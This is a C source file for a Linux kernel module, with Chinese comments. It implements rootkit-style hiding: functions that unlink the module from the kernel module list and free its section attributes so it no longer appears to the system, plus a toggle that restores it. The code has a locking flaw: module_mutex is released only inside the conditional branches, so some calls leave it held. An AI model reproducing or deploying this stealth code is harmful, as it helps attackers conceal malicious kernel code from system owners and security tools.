#include <linux/module.h> // 包含 Linux 内核模块的头文件
#include <linux/mutex.h>  // 包含互斥锁的头文件
#include <linux/slab.h>   // 包含内存分配的头文件

#include "module.h" // 包含自定义模块的头文件

/**
 * @file module.c
 * @brief 本文件包含用于隐藏和显示内核模块的函数。
 *
 * 文件中的函数通过操作模块列表及其属性，实现内核模块的隐藏和显示功能。
 */

/**
 * @brief 标记模块是否被隐藏（1）或可见（0）。
 */
//int hide_m = 0;
int flag_hide_m = 0;
int flag_show_m = 1;
/**
 * @brief 指向模块列表前一个条目的指针。
 */
static struct list_head *mod_list;

/**
 * @brief 隐藏内核模块。
 *
 * 该函数从模块列表中移除模块，并释放其段属性，从而使其在系统中不可见。
 */
void hide(void);

/**
 * @brief 显示内核模块。
 *
 * 该函数将模块重新添加到模块列表中，使其在系统中再次可见。
 */
void show(void);

/**
 * @brief 切换内核模块的可见性。
 *
 * 该函数在模块当前可见时隐藏模块，在模块当前隐藏时显示模块。
 */
void hide_module(void);

void hide(void)
{
    // 尝试获取模块互斥锁，如果失败则让CPU放松
    while (!mutex_trylock(&module_mutex))
        cpu_relax();
    
    // 判断模块是否可见，并设置模块隐藏标志
    if(flag_hide_m == 0 && flag_show_m == 1)
    {   
        flag_hide_m = 1;
        flag_show_m = 0;
        // 保存当前模块列表的前一个条目
        mod_list = THIS_MODULE->list.prev;
        
        // 从模块列表中删除当前模块
        list_del(&THIS_MODULE->list);
        
        // 释放模块的段属性
        kfree(THIS_MODULE->sect_attrs);
        
        // 将模块的段属性设置为NULL
        THIS_MODULE->sect_attrs = NULL;
        
        // 释放模块互斥锁
        mutex_unlock(&module_mutex);
    }

}

void show(void)
{
    // 尝试获取模块互斥锁，如果失败则让CPU放松
    while (!mutex_trylock(&module_mutex))
        cpu_relax();
    // 判断模块是否隐藏，并设置模块可见标志
    if(flag_show_m == 0 && flag_hide_m == 1)
    {
        flag_show_m = 1;
        flag_hide_m = 0;
        // 将模块重新添加到模块列表中
        list_add(&THIS_MODULE->list, mod_list);
    
        // 释放模块互斥锁
        mutex_unlock(&module_mutex);
    }
    

}

void hide_module(void)
{
    // 如果模块当前可见，则隐藏模块
    if (flag_hide_m == 0 && flag_show_m == 1)
        hide();
    // 如果模块当前隐藏，则显示模块
    else if (flag_hide_m == 1 && flag_show_m == 0)
        show();
}